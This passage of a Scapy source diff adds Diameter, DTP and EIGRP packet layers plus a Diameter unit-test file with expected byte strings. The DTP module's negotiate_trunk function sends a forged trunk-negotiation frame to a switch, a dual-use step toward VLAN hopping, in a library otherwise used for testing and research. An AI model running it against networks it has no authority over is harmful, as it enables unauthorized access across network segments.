+        3414: ('ISUP-Location-Number', AVPV_OctetString, 192),
+        3415: ('Forwarding-Pending', AVP_10415_3415, 192),
+        3416: ('ISUP-Cause', AVPV_Grouped, 192),
+        3417: ('MSC-Address', AVPV_OctetString, 192),
+        3418: ('Network-Call-Reference-Number', AVPV_OctetString, 192),
+        3419: ('Start-of-Charging', AVPV_Time, 192),
+        3420: ('VLR-Number', AVPV_OctetString, 192),
+        3421: ('CN-Operator-Selection-Entity', AVP_10415_3421, 192),
+        3422: ('ISUP-Cause-Diagnostics', AVPV_OctetString, 192),
+        3423: ('ISUP-Cause-Location', AVPV_Unsigned32, 192),
+        3424: ('ISUP-Cause-Value', AVPV_Unsigned32, 192),
+        3425: ('ePDG-Address', AVPV_Address, 192),
+        3428: ('Coverage-Status', AVP_10415_3428, 192),
+        3429: ('Layer-2-Group-ID', AVPV_StrLenField, 192),
+        3430: ('Monitored-PLMN-Identifier', AVPV_StrLenField, 192),
+        3431: ('Monitoring-UE-HPLMN-Identifier', AVPV_StrLenField, 192),
+        3432: ('Monitoring-UE-Identifier', AVPV_StrLenField, 192),
+        3433: ('Monitoring-UE-VPLMN-Identifier', AVPV_StrLenField, 192),
+        3434: ('PC3-Control-Protocol-Cause', AVPV_Integer32, 192),
+        3435: ('PC3-EPC-Control-Protocol-Cause', AVPV_Integer32, 192),
+        3436: ('Requested-PLMN-Identifier', AVPV_StrLenField, 192),
+        3437: ('Requestor-PLMN-Identifier', AVPV_StrLenField, 192),
+        3438: ('Role-Of-ProSe-Function', AVP_10415_3438, 192),
+        3439: ('Usage-Information-Report-Sequence-Number', AVPV_Integer32, 192),
+        3440: ('ProSe-3rd-Party-Application-ID', AVPV_StrLenField, 192),
+        3441: ('ProSe-Direct-Communication-Data-Container', AVPV_Grouped, 192),
+        3442: ('ProSe-Direct-Discovery-Model', AVP_10415_3442, 192),
+        3443: ('ProSe-Event-Type', AVP_10415_3443, 192),
+        3444: ('ProSe-Function-IP-Address', AVPV_Address, 192),
+        3445: ('ProSe-Functionality', AVP_10415_3445, 192),
+        3446: ('ProSe-Group-IP-Multicast-Address', AVPV_Address, 192),
+        3447: ('ProSe-Information', AVPV_Grouped, 192),
+        3448: ('ProSe-Range-Class', AVP_10415_3448, 192),
+        3449: ('ProSe-Reason-For-Cancellation', AVP_10415_3449, 192),
+        3450: ('ProSe-Request-Timestamp', AVPV_Time, 192),
+        3451: ('ProSe-Role-Of-UE', AVP_10415_3451, 192),
+        3452: ('ProSe-Source-IP-Address', AVPV_Address, 192),
+        3453: ('ProSe-UE-ID', AVPV_StrLenField, 192),
+        3454: ('Proximity-Alert-Indication', AVP_10415_3454, 192),
+        3455: ('Proximity-Alert-Timestamp', AVPV_Time, 192),
+        3456: ('Proximity-Cancellation-Timestamp', AVPV_Time, 192),
+        3457: ('ProSe-Function-PLMN-Identifier', AVPV_StrLenField, 192),
+    },
+}
+
+
+#####################################################################
+#####################################################################
+#
+#       Diameter commands classes and definitions
+#
+#####################################################################
+#####################################################################
+
+# Version + message length + flags + code + Application-ID + Hop-by-Hop ID
+# + End-to-End ID
+DR_Header_Length = 20
+DR_Flags_List = ["x", "x", "x", "x", "T", "E", "P", "R"]
+
+# The Diameter commands definition fields meaning:
+# 2nd: the 2 letters prefix for both requests and answers
+# 3rd: dictionary of Request/Answer command flags for each supported application ID. Each dictionnary key is one of the
+# supported application ID and each value is a tupple defining the request
+# flag and then the answer flag
+DR_cmd_def = {
+    257: ('Capabilities-Exchange', 'CE', {0: (128, 0)}),
+    258: ('Re-Auth', 'RA', {0: (192, 64), 1: (192, 64), 16777250: (192, 64), 16777272: (192, 64), 16777264: (192, 64)}),
+    260: ('AA-Mobile-Node', 'AM', {2: (192, 64)}),
+    262: ('Home-Agent-MIP', 'HA', {2: (192, 64)}),
+    265: ('AA', 'AA', {16777272: (192, 64), 1: (192, 64), 16777250: (192, 64), 16777264: (192, 64)}),
+    268: ('Diameter-EAP', 'DE', {16777272: (192, 64), 16777264: (192, 64), 16777250: (192, 64), 5: (192, 64), 7: (192, 64)}),
+    271: ('Accounting', 'AC', {0: (192, 64), 1: (192, 64)}),
+    272: ('Credit-Control', 'CC', {4: (192, 64)}),
+    274: ('Abort-Session', 'AS', {0: (192, 64), 1: (192, 64), 16777250: (192, 64), 16777272: (192, 64), 16777264: (192, 64)}),
+    275: ('Session-Termination', 'ST', {0: (192, 64), 1: (192, 64), 16777250: (192, 64), 16777264: (192, 64), 16777272: (192, 64)}),
+    280: ('Device-Watchdog', 'DW', {0: (128, 0)}),
+    282: ('Disconnect-Peer', 'DP', {0: (128, 0)}),
+    283: ('User-Authorization', 'UA', {6: (192, 64)}),
+    284: ('Server-Assignment', 'SA', {6: (192, 64)}),
+    285: ('Location-Info', 'LI', {6: (192, 64)}),
+    286: ('Multimedia-Auth', 'MA', {6: (192, 64)}),
+    287: ('Registration-Termination', 'RT', {6: (192, 64)}),
+    288: ('Push-Profile', 'PP', {6: (192, 64)}),
+    300: ('User-Authorization', 'UA', {16777216: (192, 64)}),
+    301: ('Server-Assignment', 'SA', {16777216: (192, 64), 16777265: (192, 64)}),
+    302: ('Location-Info', 'LI', {16777216: (192, 64)}),
+    303: ('Multimedia-Auth', 'MA', {16777216: (192, 64), 16777265: (192, 64)}),
+    304: ('Registration-Termination', 'RT', {16777216: (192, 64), 16777265: (192, 64)}),
+    305: ('Push-Profile', 'PP', {16777216: (192, 64), 16777265: (128, 64)}),
+    306: ('User-Data', 'UD', {16777217: (192, 64)}),
+    307: ('Profile-Update', 'PU', {16777217: (192, 64)}),
+    308: ('Subscribe-Notifications', 'SN', {16777217: (192, 64)}),
+    309: ('Push-Notification', 'PN', {16777217: (192, 64)}),
+    316: ('Update-Location', 'UL', {16777251: (192, 64)}),
+    317: ('Cancel-Location', 'CL', {16777251: (192, 64)}),
+    318: ('Authentication-Information', 'AI', {16777251: (192, 64)}),
+    319: ('Insert-Subscriber-Data', 'ID', {16777251: (192, 64)}),
+    320: ('Delete-Subscriber-Data', 'DS', {16777251: (192, 64)}),
+    321: ('Purge-UE', 'PU', {16777251: (192, 64)}),
+    322: ('Reset', 'RS', {16777251: (192, 64)}),
+    323: ('Notify', 'NO', {16777251: (192, 64)}),
+    324: ('ME-Identity-Check', 'EC', {16777252: (192, 64)}),
+    325: ('MIP6', 'MI', {8: (192, 64)}),
+    8388620: ('Provide-Location', 'PL', {16777255: (192, 64)}),
+    8388621: ('Location-Report', 'LR', {16777255: (192, 64)}),
+    8388622: ('LCS-Routing-Info', 'RI', {16777291: (192, 64)}),
+    8388635: ('Spending-Limit', 'SL', {16777255: (192, 64)}),
+    8388636: ('Spending-Status-Notification', 'SN', {16777255: (192, 64)}),
+    8388638: ('Update-VCSG-Location', 'UV', {16777308: (192, 64)}),
+    8388642: ('Cancel-VCSG-Location', 'CV', {16777308: (192, 64)}),
+}
+
+# Generic class + commands builder
+#######################################
+
+
+class DiamG (Packet):
+    """   Generic class defining all the Diameter fields"""
+    name = "Diameter"
+    fields_desc = [
+        # Protocol version field, 1 byte, default value = 1
+        XByteField("version", 1),
+        I3FieldLenField(
+            "drLen",
+            None,
+            length_of="avpList",
+            adjust=lambda p,
+            x:x +
+            DR_Header_Length),
+        DRFlags("drFlags", None, 8, DR_Flags_List),
+        # Command Code, 3 bytes, no default
+        DRCode("drCode", None, DR_cmd_def),
+        # Application ID, 4 bytes, no default
+        IntEnumField("drAppId", None, AppIDsEnum),
+        # Hop-by-Hop Identifier, 4 bytes
+        XIntField("drHbHId", 0),
+        # End-to-end Identifier, 4 bytes
+        XIntField("drEtEId", 0),
+        PacketListField(
+            "avpList",
+            [],
+            GuessAvpType,
+            length_from=lambda pkt:pkt.drLen -
+            DR_Header_Length),
+    ]
+
+
+def getCmdParams(cmd, request, **fields):
+    """Update or fill the fields parameters depending on command code. Both cmd and drAppId can be provided
+       in string or int format."""
+    drCode = None
+    params = None
+    drAppId = None
+    # Fetch the parameters if cmd is found in dict
+    if isinstance(cmd, int):
+        drCode = cmd    # Enable to craft commands with non standard code
+        if cmd in DR_cmd_def.keys():
+            params = DR_cmd_def[drCode]
+        else:
+            params = ('Unknown', 'UK', {0: (128, 0)})
+            warning(
+                'No Diameter command with code %d found in DR_cmd_def dictionary' %
+                cmd)
+    else:  # Assume command is a string
+        if len(cmd) > 3:     # Assume full command name given
+            fpos = 0
+        else:         # Assume abbreviated name is given and take only the first two letters
+            cmd = cmd[:2]
+            fpos = 1
+        for k, f in DR_cmd_def.items():
+            if f[fpos][:len(
+                    cmd)] == cmd:   # Accept only a prefix of the full name
+                drCode = k
+                params = f
+                break
+        if not drCode:
+            warning(
+                'Diameter command with name %s not found in DR_cmd_def dictionary.' %
+                cmd)
+            return (fields, 'Unknown')
+    # The drCode is set/overriden in any case
+    fields['drCode'] = drCode
+    # Processing of drAppId
+    if 'drAppId' in fields.keys():
+        val = fields['drAppId']
+        if isinstance(val, str):   # Translate into application Id code
+            found = False
+            for k, v in six.iteritems(AppIDsEnum):
+                if v.find(val) != -1:
+                    drAppId = k
+                    fields['drAppId'] = drAppId
+                    found = True
+                    break
+            if not found:
+                del(fields['drAppId'])
+                warning(
+                    'Application ID with name %s not found in AppIDsEnum dictionary.' %
+                    val)
+                return (fields, 'Unknown')
+        else:   # Assume type is int
+            drAppId = val
+    else:  # Application Id shall be taken from the params found based on cmd
+        drAppId = next(iter(params[2]))   # The first record is taken
+        fields['drAppId'] = drAppId
+    # Set the command name
+    name = request and params[0] + '-Request' or params[0] + '-Answer'
+    # Processing of flags (only if not provided manually)
+    if 'drFlags' not in fields.keys():
+        if drAppId in params[2].keys():
+            flags = params[2][drAppId]
+            fields['drFlags'] = request and flags[0] or flags[1]
+    return (fields, name)
+
+
+def DiamReq(cmd, **fields):
+    """Craft Diameter request commands"""
+    upfields, name = getCmdParams(cmd, True, **fields)
+    p = DiamG(**upfields)
+    p.name = name
+    return p
+
+
+def DiamAns(cmd, **fields):
+    """Craft Diameter answer commands"""
+    upfields, name = getCmdParams(cmd, False, **fields)
+    p = DiamG(**upfields)
+    p.name = name
+    return p
+
+# Binding
+#######################################
+
+bind_layers(TCP, DiamG, dport=3868)
+bind_layers(TCP, DiamG, sport=3868)
+bind_layers(SCTPChunkData, DiamG, dport=3868)
+bind_layers(SCTPChunkData, DiamG, sport=3868)
+bind_layers(SCTPChunkData, DiamG, proto_id=46)
+bind_layers(SCTPChunkData, DiamG, proto_id=47)
diff --git a/scapy/contrib/diameter.uts b/scapy/contrib/diameter.uts
new file mode 100644
index 0000000..6b0adcd
--- /dev/null
+++ b/scapy/contrib/diameter.uts
@@ -0,0 +1,253 @@
+# UTscapy syntax is explained here: http://www.secdev.org/projects/UTscapy/
+
+# original author: patrick battistello
+
+% Validation of Diameter layer
+
+
+#######################################################################
++ Different ways of building basic AVPs
+#######################################################################
+
+= AVP identified by full name
+a1 = AVP ('High-User-Priority', val=15)
+a1.show()
+raw(a1) == b'\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f'
+
+= Same AVP identified by the beggining of the name
+a1b = AVP ('High-U', val=15)
+a1b.show()
+raw(a1b) == raw(a1)
+
+= Same AVP identified by its code
+a1c = AVP (559, val=15)
+a1c.show()
+raw(a1c) == raw(a1)
+
+= The Session-Id AVP (with some padding added)
+a2 = AVP ('Session-Id', val='aaa.test.orange.fr;1428128;644587')
+a2.show()
+raw(a2) == b'\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00'
+
+= An enumerated AVP
+a3 = AVP ('Auth-Session-State', val='NO_STATE_MAINTAINED')
+a3.show()
+raw(a3) == b'\x00\x00\x01\x15@\x00\x00\x0c\x00\x00\x00\x01'
+
+= An address AVP
+a4v4 = AVP("CG-Address", val='192.168.0.1')
+a4v4.show()
+raw(a4v4) == b'\x00\x00\x03N\xc0\x00\x00\x12\x00\x00(\xaf\x00\x01\xc0\xa8\x00\x01\x00\x00'
+
+a4v6 = AVP("CG-Address", val='::1')
+a4v6.show()
+raw(a4v6) == b'\x00\x00\x03N\xc0\x00\x00\x1e\x00\x00(\xaf\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00'
+
+a4error = AVP("CG-Address", val="unknown")
+a4error.show()
+assert raw(a4error) == raw(AVP("CG-Address"))
+
+= A time AVP
+a5 = AVP("Expiry-Time")
+a5.show()
+assert not a5.val
+
+= An empty Auth App ID AVP
+a6 = AVP("Auth-Application-Id")
+a6.show()
+raw(a6) == b'\x00\x00\x01\x02@\x00\x00\x0c\x00\x00\x00\x00'
+
+= An ISDN AVP
+a7 = AVP("MSISDN", val="101")
+a7.show()
+raw(a7) == b'\x00\x00\x02\xbd\xc0\x00\x00\x0e\x00\x00(\xaf\x01\xf1\x00\x00'
+
+= Some OctetString AVPs
+a8 = AVP("Authorization-Token", val="test")
+a8.show()
+assert raw(a8) == b'\x00\x00\x01\xfa\xc0\x00\x00\x10\x00\x00(\xaftest'
+
+a8 = AVP("Authorization-Token", val=b"test\xc3\xa9")
+a8.show()
+assert a8.val == b"test\xc3\xa9"
+assert raw(a8) == b'\x00\x00\x01\xfa\xc0\x00\x00\x12\x00\x00(\xaftest\xc3\xa9\x00\x00'
+
+= Unknown AVP identifier
+
+a9 = AVP("wrong")
+assert not a9
+
+
+#######################################################################
++ AVPs with vendor field
+#######################################################################
+
+= Vendor AVP identified by full name
+a4 = AVP ('Feature-List-ID', val=1)
+a4.show()
+raw(a4) == b'\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01'
+
+= Same AVP identified by its code and vendor ID
+* This time a list is required as first argument 
+a4c = AVP ( [629, 10415], val=1)
+raw(a4c) == raw(a4)
+
+
+#######################################################################
++ Altering the AVPs default provided values
+#######################################################################
+
+= Altering the flags of the Origin-Host AVP
+a5 = AVP ('Origin-Host', avpFlags=187, val='aaa.test.orange.fr')
+a5.show()
+raw(a5) == b'\x00\x00\x01\x08\xbb\x00\x00\x1aaaa.test.orange.fr\x00\x00'
+
+= Altering the length of the Destination-Realm AVP
+a6 = AVP (283, avpLen=33, val='foreign.realm1.fr')
+a6.show()
+raw(a6) == b'\x00\x00\x01\x1b@\x00\x00!foreign.realm1.fr\x00\x00\x00'
+
+= Altering the vendor of the Public-Identity AVP, and hence the flags ...
+a7 = AVP ( [601, 98765432], val = 'sip:+0123456789@aaa.test.orange.fr')
+a7.show()
+raw(a7) == b'\x00\x00\x02Y\x80\x00\x00.\x05\xe3\nxsip:+0123456789@aaa.test.orange.fr\x00\x00'
+
+
+#######################################################################
++ Grouped AVPs
+#######################################################################
+
+= The Supported-Features AVP (with vendor)
+a8 = AVP ('Supported-Features')
+a8.val.append(a1)
+a8.val.append(a5)
+a8.show()
+raw(a8) == b'\x00\x00\x02t\x80\x00\x004\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01\x08\xbb\x00\x00\x1aaaa.test.orange.fr\x00\x00'
+
+= The same AVP created more simply
+a8b = AVP ('Supported-Features', val = [a1, a5])
+raw(a8b) == raw(a8)
+
+= (re)Building the previous AVP from scratch
+a8c = AVP ('Supported-Features', val = [
+            AVP ('High-User-Priority', val=15),
+            AVP ('Origin-Host', avpFlags=187, val='aaa.test.orange.fr') ])
+raw(a8c) == raw(a8)
+
+= Another (dummy) grouped AVP
+a9 = AVP (297, val = [a2, a4, a6])
+a9.show()
+raw(a9) == b'\x00\x00\x01)@\x00\x00`\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x01\x1b@\x00\x00!foreign.realm1.fr\x00\x00\x00'
+
+= A grouped AVP inside another grouped AVP
+a10 = AVP ('Server-Cap', val = [a1, a9])
+a10.show()
+raw(a10) == b'\x00\x00\x02[\xc0\x00\x00x\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01)@\x00\x00`\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x01\x1b@\x00\x00!foreign.realm1.fr\x00\x00\x00'
+
+= A big grouped AVP
+a11 = AVP ('SIP-Auth', val = [a2, a4, a8, a10])
+a11.show()
+raw(a11) == b'\x00\x00\x01x@\x00\x00\xf0\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x02t\x80\x00\x004\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01\x08\xbb\x00\x00\x1aaaa.test.orange.fr\x00\x00\x00\x00\x02[\xc0\x00\x00x\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01)@\x00\x00`\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x01\x1b@\x00\x00!foreign.realm1.fr\x00\x00\x00'
+
+= Dissect grouped AVP
+
+a12 = DiamG(b'\x01\x00\x00!\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\xbd\xc0\x00\x00\r\x00\x00(\xaf\x01')
+assert isinstance(a12.avpList[0], AVP_10415_701)
+assert "MSISDN" in a12.avpList[0].name
+
+#######################################################################
++ Diameter Requests (without AVPs)
+#######################################################################
+
+= A simple request identified by its name
+r1 = DiamReq ('Capabilities-Exchange', drHbHId=1234, drEtEId=5678)
+r1.show()
+raw(r1) == b'\x01\x00\x00\x14\x80\x00\x01\x01\x00\x00\x00\x00\x00\x00\x04\xd2\x00\x00\x16.'
+
+= Unknown request by its name
+ur = DiamReq ('Unknown')
+raw(ur) == b'\x01\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= The same one identified by its code
+r1b = DiamReq (257, drHbHId=1234, drEtEId=5678)
+raw(r1b) == raw(r1)
+
+= Unknown request by its code
+ur = DiamReq (0)
+raw(ur) == b'\x01\x00\x00\x14\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= The same one identified by its abbreviation
+* Only the first 2 abbreviation letters are significant (although 3 are provided in this example)
+r1c = DiamReq ('CER', drHbHId=1234, drEtEId=5678)
+raw(r1c) == raw(r1)
+
+= Altering the request default fields
+r2 =  DiamReq ('CER', drHbHId=1234, drEtEId=5678, drFlags=179, drAppId=978, drLen=12)
+r2.show()
+raw(r2) == b'\x01\x00\x00\x0c\xb3\x00\x01\x01\x00\x00\x03\xd2\x00\x00\x04\xd2\x00\x00\x16.'
+
+= Altering the default request fields with string
+r2b =  DiamReq ('CER', drAppId="1")
+r2b.show()
+raw(r2b) == b'\x01\x00\x00\x14\x00\x00\x01\x01\x01\x00\x00$\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= Altering the default request fields with invalid string
+r2be =  DiamReq ('CER', drAppId="-1")
+r2be.show()
+raw(r2be) == b'\x01\x00\x00\x14\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+
+#######################################################################
++ Diameter Answers (without AVPs)
+#######################################################################
+
+= A simple answer identified by its name
+ans1 = DiamAns ('Capabilities-Exchange', drHbHId=1234, drEtEId=5678)
+ans1.show()
+raw(ans1) == b'\x01\x00\x00\x14\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x04\xd2\x00\x00\x16.'
+
+= Same answer identified by its code or abbreviation
+ans1b = DiamAns (257, drHbHId=1234, drEtEId=5678)
+ans1c = DiamAns ('CEA', drHbHId=1234, drEtEId=5678)
+raw(ans1b) == raw(ans1), raw(ans1c) == raw(ans1)
+_ == (True, True)
+
+= Altering the answer default fields
+ans2 =  DiamAns ('CEA', drHbHId=1234, drEtEId=5678, drFlags=115, drAppId=1154, drLen=18)
+ans2.show()
+raw(ans2) == b'\x01\x00\x00\x12s\x00\x01\x01\x00\x00\x04\x82\x00\x00\x04\xd2\x00\x00\x16.'
+
+
+#######################################################################
++ Full Diameter messages
+#######################################################################
+
+= A dummy Multimedia-Auth request (identified by only a portion of its name)
+r3 = DiamReq ('Multimedia-Auth', drHbHId=0x5478, drEtEId=0x1234, avpList = [a11])
+r3.show()
+raw(r3) == b'\x01\x00\x01\x04\xc0\x00\x01\x1e\x00\x00\x00\x06\x00\x00Tx\x00\x00\x124\x00\x00\x01x@\x00\x00\xf0\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x02t\x80\x00\x004\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01\x08\xbb\x00\x00\x1aaaa.test.orange.fr\x00\x00\x00\x00\x02[\xc0\x00\x00x\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01)@\x00\x00`\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x01\x1b@\x00\x00!foreign.realm1.fr\x00\x00\x00'
+
+
+= The same request built from scratch
+r3b = DiamReq ('Multimedia-Auth', drHbHId=0x5478, drEtEId=0x1234,
+                avpList = [
+                  AVP ('SIP-Auth', val = [
+                        AVP ('Session-Id', val='aaa.test.orange.fr;1428128;644587'),
+                        AVP ('Feature-List-ID', val=1),
+                        AVP ('Supported-Features', val = [
+                              AVP ('High-User-Priority', val=15),
+                              AVP ('Origin-Host', avpFlags=187, val='aaa.test.orange.fr')
+                              ]),
+                        AVP ('Server-Cap', val = [
+                              AVP ('High-User-Priority', val=15),
+                              AVP (297, val = [
+                                  AVP ('Session-Id', val='aaa.test.orange.fr;1428128;644587'),
+                                  AVP ('Feature-List-ID', val=1),
+                                  AVP (283, avpLen=33, val='foreign.realm1.fr')
+                                  ])
+                              ])
+                       ])
+                ])
+
+raw(r3b) == raw(r3)
+
diff --git a/scapy/contrib/dtp.py b/scapy/contrib/dtp.py
new file mode 100644
index 0000000..23683c4
--- /dev/null
+++ b/scapy/contrib/dtp.py
@@ -0,0 +1,131 @@
+#!/usr/bin/env python
+
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# scapy.contrib.description = DTP
+# scapy.contrib.status = loads
+
+"""
+    DTP Scapy Extension
+    ~~~~~~~~~~~~~~~~~~~
+
+    :version: 2008-12-22
+    :author: Jochen Bartl <lobo@c3a.de>
+
+    :Thanks:
+
+    - TLV code derived from the CDP implementation of scapy. (Thanks to Nicolas Bareil and Arnaud Ebalard)
+        http://trac.secdev.org/scapy/ticket/18
+"""
+
+from __future__ import absolute_import
+from __future__ import print_function
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.l2 import SNAP,Dot3,LLC
+from scapy.sendrecv import sendp
+
+class DtpGenericTlv(Packet):
+    name = "DTP Generic TLV"
+    fields_desc = [ XShortField("type", 0x0001),
+            FieldLenField("length", None, length_of=lambda pkt:pkt.value + 4),
+            StrLenField("value", "", length_from=lambda pkt:pkt.length - 4)
+            ]
+
+    def guess_payload_class(self, p):
+        return conf.padding_layer
+
+class RepeatedTlvListField(PacketListField):
+    def __init__(self, name, default, cls):
+        PacketField.__init__(self, name, default, cls)
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+        while len(remain) > 0:
+            p = self.m2i(pkt,remain)
+            if conf.padding_layer in p:
+                pad = p[conf.padding_layer]
+                remain = pad.load
+                del(pad.underlayer.payload)
+            else:
+                remain = ""
+            lst.append(p)
+        return remain,lst
+
+    def addfield(self, pkt, s, val):
+        return s + ''.join(str(v) for v in val)
+
+_DTP_TLV_CLS = {
+                    0x0001 : "DTPDomain",
+                    0x0002 : "DTPStatus",
+                    0x0003 : "DTPType",
+                    0x0004 : "DTPNeighbor"
+                   }
+
+class DTPDomain(DtpGenericTlv):
+    name = "DTP Domain"
+    fields_desc = [ ShortField("type", 1),
+            FieldLenField("length", None, "domain", adjust=lambda pkt,x:x + 4),
+            StrLenField("domain", b"\x00", length_from=lambda pkt:pkt.length - 4)
+            ]
+
+class DTPStatus(DtpGenericTlv):
+    name = "DTP Status"
+    fields_desc = [ ShortField("type", 2),
+            FieldLenField("length", None, "status", adjust=lambda pkt,x:x + 4),
+            StrLenField("status", b"\x03", length_from=lambda pkt:pkt.length - 4)
+            ]
+
+class DTPType(DtpGenericTlv):
+    name = "DTP Type"
+    fields_desc = [ ShortField("type", 3),
+            FieldLenField("length", None, "dtptype", adjust=lambda pkt,x:x + 4),
+            StrLenField("dtptype", b"\xa5", length_from=lambda pkt:pkt.length - 4)
+            ]
+
+class DTPNeighbor(DtpGenericTlv):
+    name = "DTP Neighbor"
+    fields_desc = [ ShortField("type", 4),
+            #FieldLenField("length", None, "neighbor", adjust=lambda pkt,x:x + 4),
+            ShortField("len", 10),
+            MACField("neighbor", None)
+            ]
+
+def _DTPGuessPayloadClass(p, **kargs):
+    cls = conf.raw_layer
+    if len(p) >= 2:
+        t = struct.unpack("!H", p[:2])[0]
+        clsname = _DTP_TLV_CLS.get(t, "DtpGenericTlv")
+        cls = globals()[clsname]
+    return cls(p, **kargs)
+
+class DTP(Packet):
+    name = "DTP"
+    fields_desc = [ ByteField("ver", 1),
+                    RepeatedTlvListField("tlvlist", [], _DTPGuessPayloadClass)
+                ]
+
+bind_layers(SNAP, DTP, code=0x2004, OUI=0xc)
+
+
+def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())):
+    print("Trying to negotiate a trunk on interface %s" % iface)
+    p = Dot3(src=mymac, dst="01:00:0c:cc:cc:cc")/LLC()/SNAP()/DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])
+    sendp(p)
+
+if __name__ == "__main__":
+    from scapy.main import interact
+    interact(mydict=globals(), mybanner="DTP")
diff --git a/scapy/contrib/eigrp.py b/scapy/contrib/eigrp.py
new file mode 100644
index 0000000..ce193ce
--- /dev/null
+++ b/scapy/contrib/eigrp.py
@@ -0,0 +1,498 @@
+#!/usr/bin/env python
+
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# scapy.contrib.description = EIGRP
+# scapy.contrib.status = loads
+
+"""
+    EIGRP Scapy Extension
+    ~~~~~~~~~~~~~~~~~~~~~
+
+    :version:   2009-08-13
+    :copyright: 2009 by Jochen Bartl
+    :e-mail:    lobo@c3a.de / jochen.bartl@gmail.com
+    :license:   GPL v2
+
+    :TODO
+
+    - Replace TLV code with a more generic solution
+        * http://trac.secdev.org/scapy/ticket/90
+    - Write function for calculating authentication data
+
+    :Known bugs:
+
+        -
+
+    :Thanks:
+
+    - TLV code derived from the CDP implementation of scapy. (Thanks to Nicolas Bareil and Arnaud Ebalard)
+        http://trac.secdev.org/scapy/ticket/18
+    - IOS / EIGRP Version Representation FIX by Dirk Loss
+"""
+
+from __future__ import absolute_import
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.inet import IP
+from scapy.layers.inet6 import *
+from scapy.compat import chb, raw
+
+class EigrpIPField(StrField, IPField):
+    """
+    This is a special field type for handling ip addresses of destination networks in internal and
+    external route updates.
+
+    EIGRP removes zeros from the host portion of the ip address if the netmask is 8, 16 or 24 bits.
+    """
+
+    __slots__ = ["length_from"]
+
+    def __init__(self, name, default, length=None, length_from=None):
+        StrField.__init__(self, name, default)
+        self.length_from  = length_from
+        if length is not None:
+            self.length_from = lambda pkt,length=length: length
+
+    def h2i(self, pkt, x):
+        return IPField.h2i(self, pkt, x)
+
+    def i2m(self, pkt, x):
+        x = inet_aton(x)
+        l = self.length_from(pkt)
+
+        if l <= 8:
+            return x[:1]
+        elif l <= 16:
+            return x[:2]
+        elif l <= 24:
+            return x[:3]
+        else:
+            return x
+
+    def m2i(self, pkt, x):
+        l = self.length_from(pkt)
+
+        if l <= 8:
+            x += b"\x00\x00\x00"
+        elif l <= 16:
+            x += b"\x00\x00"
+        elif l <= 24:
+            x += b"\x00"
+
+        return inet_ntoa(x)
+
+    def prefixlen_to_bytelen(self, l):
+        if l <= 8:
+            l = 1
+        elif l <= 16:
+            l = 2
+        elif l <= 24:
+            l = 3
+        else:
+            l = 4
+
+        return l
+
+    def i2len(self, pkt, x):
+        l = self.length_from(pkt)
+        l = self.prefixlen_to_bytelen(l)
+        return l
+
